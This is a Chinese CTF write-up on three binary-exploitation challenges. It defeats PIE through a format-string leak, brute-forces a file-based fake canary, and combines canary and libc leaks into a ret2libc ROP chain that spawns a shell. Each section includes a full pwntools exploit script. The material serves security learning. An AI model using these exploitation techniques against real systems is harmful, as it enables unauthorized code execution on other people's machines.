一、pie保护
pie保护开启后也就是所有地址都被随机化了,包括ida与ROPgadget所看到的所有地址都只有最后几位,这是相对于当前随机产生的pie的基址的偏移,那么我们如果能得到pie的基址,就能得到其他地址,从而拿到权限,这里总结的方法是接收pie的基址。
先checksec一下,可以看到开启pie保护,同时ida里也不是可以用的地址,而是偏移。
那么看主函数
主函数的逻辑就是进行两次循环,分别输入1,2,3或者其他进入对应函数
case1:
非常明显的栈溢出,可以覆盖rbp以及返回地址。
case2:
虽然没有栈溢出但是却有明显的格式化字符串漏洞,可以用 %数字$p 来泄露一些地址。
case3:
空白但是在汇编代码中会发现binsh
由于该程序在调用system("/bin/sh")之前发生了一次跳转越过了system。
所以栈溢出返回时要直接返回到binsh的位置。
审计完代码,可以得到思路,进入第一次循环时,进入case2利用格式化字符串漏洞来泄露一个与pie相关的,可以计算基址的地址。然后进入第二次循环,进入case1,栈溢出返回到binsh,提权。
进入gdb查看
可以看到rbp下面有个main+181的地址,如果接受到他那么就能计算基址,可以通过多次更改%数字$p来看泄露的位置,最后确定为%11$p。
完整exp如下:
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn2')
elf=ELF('./pwn2')
main=0x12eb
binsh=0x129a
p.recvuntil(b'choice :')
p.send(b'2')
p.recvuntil(b'Welcome to Terra_Cotta_Warriors\n')
pay=b'%11$p'
#gdb.attach(p)
#pause()
p.send(pay)
p.recvuntil(b'0x')
pie=int(p.recv(12),16)
print(hex(pie))
base=pie-181-main
print(hex(base))
binsh=binsh+base
p.recvuntil(b'choice :')
p.send(b'1')
p.recvuntil(b'Welcome to Huashan_Mountain')
pay=b'a'*(0x20+8)+p64(binsh)
p.send(pay)
p.interactive()
二、假canary
顾名思义,没有开启canary保护却有跟它相似的作用
这里就是打开了一个名为canary的文本文件。
先令s1=canary,接下来输入一个比31大的数跳出while循环,同时要比buf大至少48个字节保证能够覆盖返回地址,然后输入一个值与s1比较,如果响应出来了Error那就证明错的,这里可以写脚本一个一个字节的爆破出来。
from pwn import*
context(os='linux', arch='i386', log_level='debug')
for j in range(255):
p=process('./pwn1')
p.recvuntil(b'How many bytes do you want to write to the buffer?\n>')
p.sendline(b'-1')
p.recvuntil(b'$ ')
pay=b'a'*0x20+b'\x31\x30\x32\x30'+p8(j)
# 这里是一个一个试出来手动加上的
p.send(pay)
c=p.recvall()
if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in c:
p.close()
continue
else:
print(hex(j))
break
接下来把返回地址覆盖为flag函数起始地址,就可以回显flag。
完整exp如下:
from pwn import*
context(os='linux', arch='i386', log_level='debug')
#for j in range(255):
# p=process('./pwn1')
# p.recvuntil(b'How many bytes do you want to write to the buffer?\n>')
# p.sendline(b'-1')
# p.recvuntil(b'$ ')
# pay=b'a'*0x20+b'\x31\x30\x32\x30'+p8(j)
# p.send(pay)
# c=p.recvall()
# if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in c:
# p.close()
# continue
# else:
# print(hex(j))
# break
canary=b'\x31\x30\x32\x30'
p=process('./pwn1')
flag=0x08048696
p.recvuntil(b'How many bytes do you want to write to the buffer?\n>')
p.sendline(b'-1')
p.recvuntil(b'$ ')
pay=b'a'*0x20+canary+p32(0)*4+p32(flag)
#这里4个p32(0)是因为还需要16个字节到返回地址
#gdb.attach(p)
#pause()
p.sendline(pay)
p.interactive()
三、canary保护+pie保护
那么什么是真的canary保护呢,其实就是在rbp前8位有一个值,使你栈溢出经过他的时候输入这个值,不然就退出程序,这个值一般以00结尾,在程序中往往有开头与结尾有两个标志。
第一个在程序起始生成一个值为canary,第二个是在程序结尾将这个值与当前栈中这个位置的值进行一次异或判断,就是为了保证这个值不变,那么就需要接收出这个值,在栈溢出的时候输入,接下来看具体题。
先查一下确认保护全开。
看主函数,审计代码,以时间为种子生成随机数,一共16次循环,前十五次循环为一个程序,第16次在last_problem()中,但是都需要通过if(!HIDWORD(v5))的判断,才能进入gift函数。
先看前十五次,生成两个随机数v7,v8,打印出来v7+v8=?的问题,然后看一下给v5值的函数
生成了一个canary,执行readstr函数,返回值取长整型数作为readint()的返回值,看一下readstr函数。
简单来说就是读取经历15次循环,每次一个字符,碰见\n返回0,其他就依次存储在对应位置。
那么readint()就是要求输入一个数,使v7+v8=v5,然后令v5的高四位字节为1,就能通过下面的if判断。
然后分析最后一次循环,看函数,
在32到64之间生成15个字符分别放入v2,v3,然后令它们第15位为0,同样是打印出v2+v3=? 不同的是v2,v3是随机字符,但是这次能够绕过if的v5的值不是程序给的,而是只要我们输入一个数满足高四位为1即可,这样就能进入gift函数。
生成canary,打印a1字节的v2开始的数据,并可以写入a1字节的数据。那么最后一次输入什么就需要算一下,v5%1280(0x500)为a1,同时满足高四字节为1,那么输入 0x1000000ff 使a1为0xff就够用。
利用gdb观察一下,即将进入gift的时候,栈内情况,确认泄露的数据,以及接收方式。
write从v2开始泄露,也就是rbp上面8位,刚好是最后两位为00,而且可以发现接收rbp后,紧接着的地址
可以去算libc基址,来构造system函数以及/bin/sh,
以及下面第一个0x56开头的main函数地址可以用来计算pie的基址
那么完整的exp如下:
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./chall')
elf=ELF('./chall')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
for i in range(15):
p.recvuntil(b'? ')
p.sendline(b'-1')
p.recvuntil(b'= ? ')
v5=0x1000000ff
gdb.attach(p)
pause()
p.sendline(str(v5))
canary=u64((p.recv(8)))
print(hex(canary))
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(rbp))
libc_start_main=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(libc_start_main))
pie=u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00'))
print(hex(pie))
base=pie-0x1547
print(hex(base))
rdi=0x0000000000001713
libc_base = libc_start_main - libc.symbols['__libc_start_main']-243
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
payload=p64(canary)+b'a'*8+p64(rdi+base)+p64(binsh)+p64(rdi+base+1)+p64(system)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.interactive()
解释一下前15次用-1也可以过,64位中-1为-9223372036854775808,虽然函数只用了前15位,并且不能通过前15次中if的判断使v5的高四位字节为1,但是这道题存在逻辑漏洞在最后的if判断中
只要v5的高四位字节不是0都可以跳出if,进入gift函数中。